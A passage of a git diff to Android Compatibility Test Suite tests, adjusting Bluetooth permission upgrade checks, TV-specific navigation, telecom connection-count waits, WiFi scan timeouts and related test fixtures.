-     * Verify that upgrading an app doesn't gain them any access to Bluetooth
-     * scan results; they'd always need to involve the user to gain permissions.
+     * Verify that a legacy app that was unable to interact with Bluetooth
+     * devices is still unable to interact with them after updating to a modern
+     * SDK; they'd always need to involve the user to gain permissions.
      */
     @Test
-    public void testRequestBluetoothPermission_Upgrade() throws Throwable {
+    public void testRequestBluetoothPermission_Default_Upgrade() throws Throwable {
         install(APK_BLUETOOTH_30);
-        grantPermission(TEST_APP_PKG, ACCESS_FINE_LOCATION);
-        grantPermission(TEST_APP_PKG, ACCESS_BACKGROUND_LOCATION);
-        assertScanBluetoothResult(Result.FULL);
+        assertScanBluetoothResult(Result.EMPTY);
 
         // Upgrading to target a new SDK level means they need to explicitly
         // request the new runtime permission; by default it's denied
-        install(APK_BLUETOOTH_31);
+        install(APK_BLUETOOTH_NEVER_FOR_LOCATION_31);
         assertScanBluetoothResult(Result.EXCEPTION);
 
         // If the user does grant it, they can scan again
         grantPermission(TEST_APP_PKG, BLUETOOTH_CONNECT);
         grantPermission(TEST_APP_PKG, BLUETOOTH_SCAN);
+        assertScanBluetoothResult(Result.FILTERED);
+    }
+
+    /**
+     * Verify that a legacy app that was able to interact with Bluetooth devices
+     * is still able to interact with them after updating to a modern SDK.
+     */
+    @Test
+    public void testRequestBluetoothPermission_GrantLocation_Upgrade() throws Throwable {
+        install(APK_BLUETOOTH_30);
+        grantPermission(TEST_APP_PKG, ACCESS_FINE_LOCATION);
+        grantPermission(TEST_APP_PKG, ACCESS_BACKGROUND_LOCATION);
+        assertScanBluetoothResult(Result.FULL);
+
+        // Upgrading to target a new SDK level means they still have the access
+        // they enjoyed as a legacy app
+        install(APK_BLUETOOTH_31);
         assertScanBluetoothResult(Result.FULL);
     }
 
diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
index 1387915..1383aff 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
@@ -410,11 +410,16 @@
         isLegacyApp: Boolean,
         targetSdk: Int
     ) {
-        pressBack()
-        pressBack()
-        pressBack()
         if (isTv) {
+            // Dismiss DeprecatedTargetSdkVersionDialog, if present
+            if (waitFindObjectOrNull(By.text(APP_PACKAGE_NAME), 1000L) != null) {
+                pressBack()
+            }
             pressHome()
+        } else {
+            pressBack()
+            pressBack()
+            pressBack()
         }
 
         // Try multiple times as the AppInfo page might have read stale data
diff --git a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
index 8bd51cc..7f25e8c 100644
--- a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
+++ b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
@@ -32,14 +32,9 @@
 import android.support.test.uiautomator.UiSelector
 import androidx.test.platform.app.InstrumentationRegistry
 import com.android.compatibility.common.util.DisableAnimationRule
-import com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity
-import com.android.compatibility.common.util.SystemUtil.eventually
-import com.android.compatibility.common.util.SystemUtil.runShellCommand
-import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
+import com.android.compatibility.common.util.SystemUtil.*
 import org.junit.After
-import org.junit.Assert.assertFalse
-import org.junit.Assert.assertNotNull
-import org.junit.Assert.assertTrue
+import org.junit.Assert.*
 import org.junit.Assume.assumeFalse
 import org.junit.Assume.assumeTrue
 import org.junit.Before
@@ -66,6 +61,7 @@
     private val uiDevice: UiDevice = UiDevice.getInstance(instrumentation)
     private val packageManager: PackageManager = context.packageManager
 
+    private val isTv = packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
     private var wasEnabled = false
     private val micLabel = packageManager.getPermissionGroupInfo(
         Manifest.permission_group.MICROPHONE, 0).loadLabel(packageManager).toString()
@@ -124,9 +120,10 @@
                 screenTimeoutBeforeTest
             )
         }
-
-        pressBack()
-        pressBack()
+        if (!isTv) {
+            pressBack()
+            pressBack()
+        }
         pressHome()
         pressHome()
         Thread.sleep(3000)
@@ -169,15 +166,13 @@
             assertTrue("View with text $APP_LABEL not found", appView.exists())
         }
 
-        if (packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
+        if (isTv) {
             assertTvIndicatorsShown(useMic, useCamera, useHotword)
         } else if (packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
             assertCarIndicatorsShown(useMic, useCamera)
         } else {
-            // Hotword gets remapped to RECORD_AUDIO on handheld, so handheld should show a mic
-            // indicator
             uiDevice.openQuickSettings()
-            assertPrivacyChipAndIndicatorsPresent(useMic || useHotword, useCamera)
+            assertPrivacyChipAndIndicatorsPresent(useMic, useCamera)
         }
     }
 
@@ -201,22 +196,12 @@
 
     private fun assertCarIndicatorsShown(useMic: Boolean, useCamera: Boolean) {
         // Ensure the privacy chip is present (or not)
-        var chipFound = false
-        try {
-            eventually {
-                val privacyChip = uiDevice.findObject(By.res(PRIVACY_CHIP_ID))
-                assertNotNull("view with id $PRIVACY_CHIP_ID not found", privacyChip)
-                privacyChip.click()
-                chipFound = true
-            }
-        } catch (e: Exception) {
-            // Handle more gracefully below
-        }
-
+        val chipFound = isChipPresent()
         if (useMic || useCamera) {
             assertTrue("Did not find chip", chipFound)
         } else {
             assertFalse("Found chip, but did not expect to", chipFound)
+            return
         }
 
         eventually {
@@ -233,11 +218,13 @@
     }
 
     private fun assertPrivacyChipAndIndicatorsPresent(useMic: Boolean, useCamera: Boolean) {
-        // Ensure the privacy chip is present
-        eventually {
-            val privacyChip = uiDevice.findObject(UiSelector().resourceId(PRIVACY_CHIP_ID))
-            assertTrue("view with id $PRIVACY_CHIP_ID not found", privacyChip.exists())
-            privacyChip.click()
+        // Ensure the privacy chip is present (or not)
+        val chipFound = isChipPresent()
+        if (useMic || useCamera) {
+            assertTrue("Did not find chip", chipFound)
+        } else {
+            assertFalse("Found chip, but did not expect to", chipFound)
+            return
         }
 
         eventually {
@@ -254,6 +241,21 @@
         }
     }
 
+    private fun isChipPresent(): Boolean {
+        var chipFound = false
+        try {
+            eventually {
+                val privacyChip = uiDevice.findObject(By.res(PRIVACY_CHIP_ID))
+                assertNotNull("view with id $PRIVACY_CHIP_ID not found", privacyChip)
+                privacyChip.click()
+                chipFound = true
+            }
+        } catch (e: Exception) {
+            // Handle more gracefully after
+        }
+        return chipFound
+    }
+
     private fun pressBack() {
         uiDevice.pressBack()
         waitForIdle()
diff --git a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ElementaryFilesTest.java b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ElementaryFilesTest.java
index 5fdfa8e..e779be5 100644
--- a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ElementaryFilesTest.java
+++ b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ElementaryFilesTest.java
@@ -59,7 +59,7 @@
 public class SimPhonebookContract_ElementaryFilesTest {
 
     // The minimum value for the ElementaryFiles.NAME_MAX_LENGTH column.
-    private static final int NAME_MAX_LENGTH_MINIMUM = 11;
+    private static final int NAME_MAX_LENGTH_MINIMUM = 2;
     // The minimum value for the ElementaryFiles.PHONE_NUMBER_MAX_LENGTH column.
     private static final int PHONE_NUMBER_MAX_LENGTH_MINIMUM = 20;
 
diff --git a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
index 5ab5a90..439b377 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
@@ -664,8 +664,16 @@
             currentConnections++;
             currentCallCount++;
         }
-        placeAndVerifyCall(extras, VideoProfile.STATE_AUDIO_ONLY, currentConnections,
-                currentCallCount);
+        placeAndVerifyCall(extras, VideoProfile.STATE_AUDIO_ONLY, currentCallCount);
+        // The connectionService.lock is released in
+        // MockConnectionService#onCreateOutgoingConnection, however the connection will not
+        // actually be added to the list of connections in the ConnectionService until shortly
+        // afterwards.  So there is still a potential for the lock to be released before it would
+        // be seen by calls to ConnectionService#getAllConnections().
+        // We will wait here until the list of connections includes one more connection to ensure
+        // that placing the call has fully completed.
+        assertCSConnections(currentConnections);
+
         // Ensure the new outgoing call broadcast fired for the outgoing call.
         assertOutgoingCallBroadcastReceived(true);
 
@@ -698,7 +706,16 @@
     void placeAndVerifyCall(Bundle extras, int videoState) {
         int currentCallCount = (getInCallService() == null) ? 0 : getInCallService().getCallCount();
         // We expect placing the call adds a new call/connection.
-        placeAndVerifyCall(extras, videoState, getNumberOfConnections() + 1, currentCallCount + 1);
+        int expectedConnections = getNumberOfConnections() + 1;
+        placeAndVerifyCall(extras, videoState, currentCallCount + 1);
+        // The connectionService.lock is released in
+        // MockConnectionService#onCreateOutgoingConnection, however the connection will not
+        // actually be added to the list of connections in the ConnectionService until shortly
+        // afterwards.  So there is still a potential for the lock to be released before it would
+        // be seen by calls to ConnectionService#getAllConnections().
+        // We will wait here until the list of connections includes one more connection to ensure
+        // that placing the call has fully completed.
+        assertCSConnections(expectedConnections);
         assertOutgoingCallBroadcastReceived(true);
 
         // CTS test does not have read call log permission so should not get the phone number.
@@ -709,8 +726,7 @@
      *  Puts Telecom in a state where there is an active call provided by the
      *  {@link CtsConnectionService} which can be tested.
      */
-    void placeAndVerifyCall(Bundle extras, int videoState, int expectedConnectionCount,
-            int expectedCallCount) {
+    void placeAndVerifyCall(Bundle extras, int videoState, int expectedCallCount) {
         assertEquals("Lock should have no permits!", 0, mInCallCallbacks.lock.availablePermits());
         placeNewCallWithPhoneAccount(extras, videoState);
 
@@ -730,15 +746,6 @@
 
         assertEquals("InCallService should match the expected count.", expectedCallCount,
                 mInCallCallbacks.getService().getCallCount());
-
-        // The connectionService.lock is released in
-        // MockConnectionService#onCreateOutgoingConnection, however the connection will not
-        // actually be added to the list of connections in the ConnectionService until shortly
-        // afterwards.  So there is still a potential for the lock to be released before it would
-        // be seen by calls to ConnectionService#getAllConnections().
-        // We will wait here until the list of connections includes one more connection to ensure
-        // that placing the call has fully completed.
-        assertCSConnections(expectedConnectionCount);
     }
 
     /**
@@ -752,14 +759,26 @@
     public Connection placeAndVerifyEmergencyCall(boolean supportsHold) {
         Bundle extras = new Bundle();
         extras.putParcelable(TestUtils.EXTRA_PHONE_NUMBER, TEST_EMERGENCY_URI);
+        // We want to request the active connections vs number of connections because in some cases,
+        // we wait to destroy the underlying connection to prevent race conditions. This will result
+        // in Connections in the DISCONNECTED state.
         int currentConnectionCount = supportsHold ?
-                getNumberOfConnections() + 1 : getNumberOfConnections();
+                getNumberOfActiveConnections() + 1 : getNumberOfActiveConnections();
         int currentCallCount = (getInCallService() == null) ? 0 : getInCallService().getCallCount();
         currentCallCount = supportsHold ? currentCallCount + 1 : currentCallCount;
         // The device only supports a max of two calls active at any one time
         currentCallCount = Math.min(currentCallCount, 2);
-        placeAndVerifyCall(extras, VideoProfile.STATE_AUDIO_ONLY, currentConnectionCount,
-                currentCallCount);
+
+        placeAndVerifyCall(extras, VideoProfile.STATE_AUDIO_ONLY, currentCallCount);
+        // The connectionService.lock is released in
+        // MockConnectionService#onCreateOutgoingConnection, however the connection will not
+        // actually be added to the list of connections in the ConnectionService until shortly
+        // afterwards.  So there is still a potential for the lock to be released before it would
+        // be seen by calls to ConnectionService#getAllConnections().
+        // We will wait here until the list of connections includes one more connection to ensure
+        // that placing the call has fully completed.
+        assertActiveCSConnections(currentConnectionCount);
+
         assertOutgoingCallBroadcastReceived(true);
         Connection connection = verifyConnectionForOutgoingCall(TEST_EMERGENCY_URI);
         TestUtils.waitOnAllHandlers(getInstrumentation());
@@ -770,6 +789,12 @@
         return CtsConnectionService.getAllConnectionsFromTelecom().size();
     }
 
+    int getNumberOfActiveConnections() {
+        return CtsConnectionService.getAllConnectionsFromTelecom().stream()
+                .filter(c -> c.getState() != Connection.STATE_DISCONNECTED).collect(
+                        Collectors.toSet()).size();
+    }
+
     Connection getConnection(Uri address) {
         return CtsConnectionService.getAllConnectionsFromTelecom().stream()
                 .filter(c -> c.getAddress().equals(address)).findFirst().orElse(null);
@@ -1217,6 +1242,23 @@
     );
     }
 
+    void assertActiveCSConnections(final int numConnections) {
+        waitUntilConditionIsTrueOrTimeout(new Condition() {
+                                              @Override
+                                              public Object expected() {
+                                                  return numConnections;
+                                              }
+
+                                              @Override
+                                              public Object actual() {
+                                                  return getNumberOfActiveConnections();
+                                              }
+                                          },
+                WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+                "ConnectionService should contain " + numConnections + " connections."
+        );
+    }
+
     void assertCSConnections(final int numConnections) {
         waitUntilConditionIsTrueOrTimeout(new Condition() {
                                               @Override
diff --git a/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java b/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java
index 47b1462..a1d9e6d 100644
--- a/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java
+++ b/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java
@@ -85,7 +85,9 @@
 
         Uri normalCallNumber = createRandomTestNumber();
         addAndVerifyNewIncomingCall(normalCallNumber, null);
-        Connection incomingConnection = verifyConnectionForIncomingCall();
+        MockConnection incomingConnection = verifyConnectionForIncomingCall();
+        // Ensure destroy happens after emergency call is placed to prevent unbind -> rebind.
+        incomingConnection.disableAutoDestroy();
         Call incomingCall = getInCallService().getLastCall();
         assertCallState(incomingCall, Call.STATE_RINGING);
 
@@ -94,6 +96,7 @@
         Call eCall = getInCallService().getLastCall();
         assertCallState(eCall, Call.STATE_DIALING);
 
+        incomingConnection.destroy();
         assertConnectionState(incomingConnection, Connection.STATE_DISCONNECTED);
         assertCallState(incomingCall, Call.STATE_DISCONNECTED);
 
@@ -123,7 +126,9 @@
 
         Uri normalIncomingCallNumber = createRandomTestNumber();
         addAndVerifyNewIncomingCall(normalIncomingCallNumber, null);
-        Connection incomingConnection = verifyConnectionForIncomingCall();
+        MockConnection incomingConnection = verifyConnectionForIncomingCall();
+        // Ensure destroy happens after emergency call is placed to prevent unbind -> rebind.
+        incomingConnection.disableAutoDestroy();
         Call incomingCall = getInCallService().getLastCall();
         assertCallState(incomingCall, Call.STATE_RINGING);
 
@@ -132,6 +137,7 @@
         Call eCall = getInCallService().getLastCall();
         assertCallState(eCall, Call.STATE_DIALING);
 
+        incomingConnection.destroy();
         assertConnectionState(incomingConnection, Connection.STATE_DISCONNECTED);
         assertCallState(incomingCall, Call.STATE_DISCONNECTED);
 
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockConnection.java b/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
index 299ffba..f8945ce 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
@@ -60,6 +60,7 @@
     private PhoneAccountHandle mPhoneAccountHandle;
     private RemoteConnection mRemoteConnection = null;
     private RttTextStream mRttTextStream;
+    private boolean mAutoDestroy = true;
 
     private SparseArray<InvokeCounter> mInvokeCounterMap = new SparseArray<>(13);
 
@@ -91,7 +92,7 @@
         if (mRemoteConnection != null) {
             mRemoteConnection.reject();
         }
-        destroy();
+        if (mAutoDestroy) destroy();
     }
 
     @Override
@@ -99,7 +100,7 @@
         super.onReject(rejectReason);
         setDisconnected(new DisconnectCause(DisconnectCause.REJECTED,
                 Integer.toString(rejectReason)));
-        destroy();
+        if (mAutoDestroy) destroy();
     }
 
     @Override
@@ -109,7 +110,7 @@
         if (mRemoteConnection != null) {
             mRemoteConnection.reject();
         }
-        destroy();
+        if (mAutoDestroy) destroy();
     }
 
     @Override
@@ -137,7 +138,7 @@
         if (mRemoteConnection != null) {
             mRemoteConnection.disconnect();
         }
-        destroy();
+        if (mAutoDestroy) destroy();
     }
 
     @Override
@@ -147,7 +148,7 @@
         if (mRemoteConnection != null) {
             mRemoteConnection.abort();
         }
-        destroy();
+        if (mAutoDestroy) destroy();
     }
 
     @Override
@@ -279,6 +280,14 @@
         }
     }
 
+    /**
+     * Do not destroy after setting disconnected for cases that need finer state control. If
+     * disabled the caller will need to call destroy manually.
+     */
+    public void disableAutoDestroy() {
+        mAutoDestroy = false;
+    }
+
     public int getCurrentState()  {
         return mState;
     }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/ServiceStateTest.java b/tests/tests/telephony/current/src/android/telephony/cts/ServiceStateTest.java
index b3cda70..5d76420 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/ServiceStateTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/ServiceStateTest.java
@@ -170,24 +170,32 @@
 
     @Test
     public void testNrStateRedacted() {
+        // Verify that NR State is not leaked in user builds.
+        if (Build.IS_DEBUGGABLE) return;
         final TelephonyManager tm = getContext().getSystemService(TelephonyManager.class);
 
-        // Verify that NR State is not leaked in user builds.
-        if (!Build.IS_DEBUGGABLE) {
-            final String sss = tm.getServiceState().toString();
-            // The string leaked in previous releases is "nrState=<val>"; test that there is
-            // no matching or highly similar string leak, such as:
-            // nrState=NONE
-            // nrState=0
-            // mNrState=RESTRICTED
-            // NRSTATE=NOT_RESTRICTED
-            // nrState = CONNECTED
-            // etc.
-            Pattern p = Pattern.compile("nrState\\s*=\\s*[a-zA-Z0-9_]+", Pattern.CASE_INSENSITIVE);
-            Matcher m = p.matcher(sss);
-            // Need to use if (find) fail to ensure that the start and end are populated
-            if (m.find()) fail("Found nrState reported as: " + sss.substring(m.start(), m.end()));
-        }
+        final NetworkRegistrationInfo nri = new NetworkRegistrationInfo.Builder()
+                .setTransportType(AccessNetworkConstants.TRANSPORT_TYPE_WWAN)
+                .setDomain(NetworkRegistrationInfo.DOMAIN_PS)
+                .build();
+        nri.setNrState(NetworkRegistrationInfo.NR_STATE_RESTRICTED);
+
+        final ServiceState ss = new ServiceState();
+        ss.addNetworkRegistrationInfo(nri);
+        String sss = ss.toString();
+
+        // The string leaked in previous releases is "nrState=<val>"; test that there is
+        // no matching or highly similar string leak, such as:
+        // nrState=NONE
+        // nrState=0
+        // mNrState=RESTRICTED
+        // NRSTATE=NOT_RESTRICTED
+        // nrState = CONNECTED
+        // etc.
+        Pattern p = Pattern.compile("nrState\\s*=\\s*[a-zA-Z0-9_]+", Pattern.CASE_INSENSITIVE);
+        Matcher m = p.matcher(sss);
+        // Need to use if (find) fail to ensure that the start and end are populated
+        if (m.find()) fail("Found nrState reported as: " + sss.substring(m.start(), m.end()));
     }
 
     @Test
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
index c707d0e..e7a6286 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
@@ -557,6 +557,9 @@
             assertNotNull(resultQueue.poll(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS));
         } catch (SecurityException e) {
             fail("isSupported requires READ_PRIVILEGED_PHONE_STATE permission.");
+        } catch (ImsException ignore) {
+            // We are only testing method permissions here, so the actual ImsException does not
+            // matter, since it shows that the permission check passed.
         }
         try {
             LinkedBlockingQueue<Integer> resultQueue = new LinkedBlockingQueue<>(1);
diff --git a/tests/tests/view/src/android/view/cts/LongPressBackTest.java b/tests/tests/view/src/android/view/cts/LongPressBackTest.java
index 7b63e41..af2b120 100644
--- a/tests/tests/view/src/android/view/cts/LongPressBackTest.java
+++ b/tests/tests/view/src/android/view/cts/LongPressBackTest.java
@@ -64,7 +64,7 @@
                 .getUiAutomation();
 
         // Inject key down event for back
-        long currentTime = System.currentTimeMillis();
+        long currentTime = SystemClock.uptimeMillis();
         automation.injectInputEvent(new KeyEvent(currentTime, currentTime, KeyEvent.ACTION_DOWN,
                 KeyEvent.KEYCODE_BACK, 0), true);
 
@@ -79,7 +79,7 @@
         assertTrue(mActivity.sawBackDown());
         assertFalse(mActivity.sawBackUp());
 
-        currentTime = System.currentTimeMillis();
+        currentTime = SystemClock.uptimeMillis();
         // Inject key up event for back
         automation.injectInputEvent(new KeyEvent(currentTime, currentTime, KeyEvent.ACTION_UP,
                 KeyEvent.KEYCODE_BACK, 0), true);
diff --git a/tests/tests/widget/src/android/widget/cts/RadioButtonTest.java b/tests/tests/widget/src/android/widget/cts/RadioButtonTest.java
index 72cff7f..67a12a0 100644
--- a/tests/tests/widget/src/android/widget/cts/RadioButtonTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RadioButtonTest.java
@@ -19,6 +19,7 @@
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.timeout;
 import static org.mockito.Mockito.times;
 import static org.mockito.Mockito.verify;
 import static org.mockito.Mockito.verifyNoMoreInteractions;
@@ -160,7 +161,7 @@
     }
 
     @Test
-    public void testToggleViaEmulatedTap() {
+    public void testToggleViaEmulatedTap() throws Throwable {
         final RadioButton.OnCheckedChangeListener mockCheckedChangeListener =
                 mock(RadioButton.OnCheckedChangeListener.class);
         mRadioButton.setOnCheckedChangeListener(mockCheckedChangeListener);
@@ -170,7 +171,8 @@
 
         // tap to checked
         CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mRadioButton);
-        verify(mockCheckedChangeListener, times(1)).onCheckedChanged(mRadioButton, true);
+        // wait for the posted onClick() after the tap
+        verify(mockCheckedChangeListener, timeout(5000)).onCheckedChanged(mRadioButton, true);
         assertTrue(mRadioButton.isChecked());
 
         // tap to not checked - this should leave the radio button in checked state
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index b642b54..d2442d0 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -159,10 +159,10 @@
 
     private static final String TAG = "WifiManagerTest";
     private static final String SSID1 = "\"WifiManagerTest\"";
-    // A full single scan duration is about 6-7 seconds if country code is set
-    // to US. If country code is set to world mode (00), we would expect a scan
-    // duration of roughly 8 seconds. So we set scan timeout as 9 seconds here.
-    private static final int SCAN_TEST_WAIT_DURATION_MS = 9000;
+    // A full single scan duration is typically about 6-7 seconds, but
+    // depending on devices it takes more time (9-11 seconds). For a
+    // safety margin, the test waits for 15 seconds.
+    private static final int SCAN_TEST_WAIT_DURATION_MS = 15_000;
     private static final int TEST_WAIT_DURATION_MS = 10_000;
     private static final int WIFI_CONNECT_TIMEOUT_MILLIS = 30_000;
     private static final int WAIT_MSEC = 60;
@@ -1214,36 +1214,6 @@
     }
 
     /**
-     * Verify {@link WifiManager#addNetworkPrivileged(WifiConfiguration)} returns the proper
-     * failure status code when adding an enterprise config with mandatory fields not filled in.
-     */
-    public void testAddNetworkPrivilegedFailureBadEnterpriseConfig() {
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            return;
-        }
-        if (!WifiBuildCompat.isPlatformOrWifiModuleAtLeastS(mContext)) {
-            // Skip the test if wifi module version is older than S.
-            return;
-        }
-        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
-        try {
-            uiAutomation.adoptShellPermissionIdentity();
-            WifiConfiguration wifiConfiguration = new WifiConfiguration();
-            wifiConfiguration.SSID = SSID1;
-            wifiConfiguration.setSecurityParams(WifiConfiguration.SECURITY_TYPE_EAP_WPA3_ENTERPRISE);
-            wifiConfiguration.enterpriseConfig.setEapMethod(WifiEnterpriseConfig.Eap.TTLS);
-            WifiManager.AddNetworkResult result =
-                    mWifiManager.addNetworkPrivileged(wifiConfiguration);
-            assertEquals(WifiManager.AddNetworkResult.STATUS_INVALID_CONFIGURATION_ENTERPRISE,
-                    result.statusCode);
-            assertEquals(-1, result.networkId);
-        } finally {
-            uiAutomation.dropShellPermissionIdentity();
-        }
-    }
-
-    /**
      * Verify {@link WifiManager#addNetworkPrivileged(WifiConfiguration)} works properly when the
      * calling app has permissions.
      */
@@ -4288,12 +4258,11 @@
         }
     }
 
-
     /**
-     * Verify that insecure WPA-Enterprise network configurations are rejected.
+     * Verify that secure WPA-Enterprise network configurations can be added and updated.
      */
     @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
-    public void testInsecureEnterpriseConfigurationsRejected() throws Exception {
+    public void testSecureEnterpriseConfigurationsAccepted() throws Exception {
         if (!WifiFeature.isWifiSupported(getContext())) {
             // skip the test if WiFi is not supported
             return;
@@ -4310,9 +4279,6 @@
         try {
             uiAutomation.adoptShellPermissionIdentity();
 
-            // Verify that an insecure network is rejected
-            assertEquals(INVALID_NETWORK_ID, mWifiManager.addNetwork(wifiConfiguration));
-
             // Now configure it correctly with a Root CA cert and domain name
             wifiConfiguration.enterpriseConfig.setCaCertificate(FakeKeys.CA_CERT0);
             wifiConfiguration.enterpriseConfig.setAltSubjectMatch(TEST_DOM_SUBJECT_MATCH);
@@ -4324,13 +4290,6 @@
             // Verify that the update API accepts configurations configured securely
             wifiConfiguration.networkId = networkId;
             assertEquals(networkId, mWifiManager.updateNetwork(wifiConfiguration));
-
-            // Now clear the security configuration
-            wifiConfiguration.enterpriseConfig.setCaCertificate(null);
-            wifiConfiguration.enterpriseConfig.setAltSubjectMatch(null);
-
-            // Verify that the update API rejects insecure configurations
-            assertEquals(INVALID_NETWORK_ID, mWifiManager.updateNetwork(wifiConfiguration));
         } finally {
             if (networkId != INVALID_NETWORK_ID) {
                 // Clean up the previously added network
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index 401fdd6..ba0c0d3 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -237,9 +237,6 @@
     <option name="compatibility:exclude-filter" value="CtsAutoFillServiceTestCases android.autofillservice.cts.inline.InlineSimpleSaveActivityTest#testAutofill_oneDatasetAndSave" />
     <option name="compatibility:exclude-filter" value="CtsAutoFillServiceTestCases[instant] android.autofillservice.cts.inline.InlineSimpleSaveActivityTest#testAutofill_oneDatasetAndSave" />
 
-    <!-- b/195580880 -->
-    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.PkgInstallSignatureVerificationTest#testInstallV4UpdateAfterRotation" />
-
     <!-- b/194293021 -->
     <option name="compatibility:exclude-filter" value="CtsPrintTestCases" />
     <option name="compatibility:exclude-filter" value="CtsPrintTestCases[instant]" />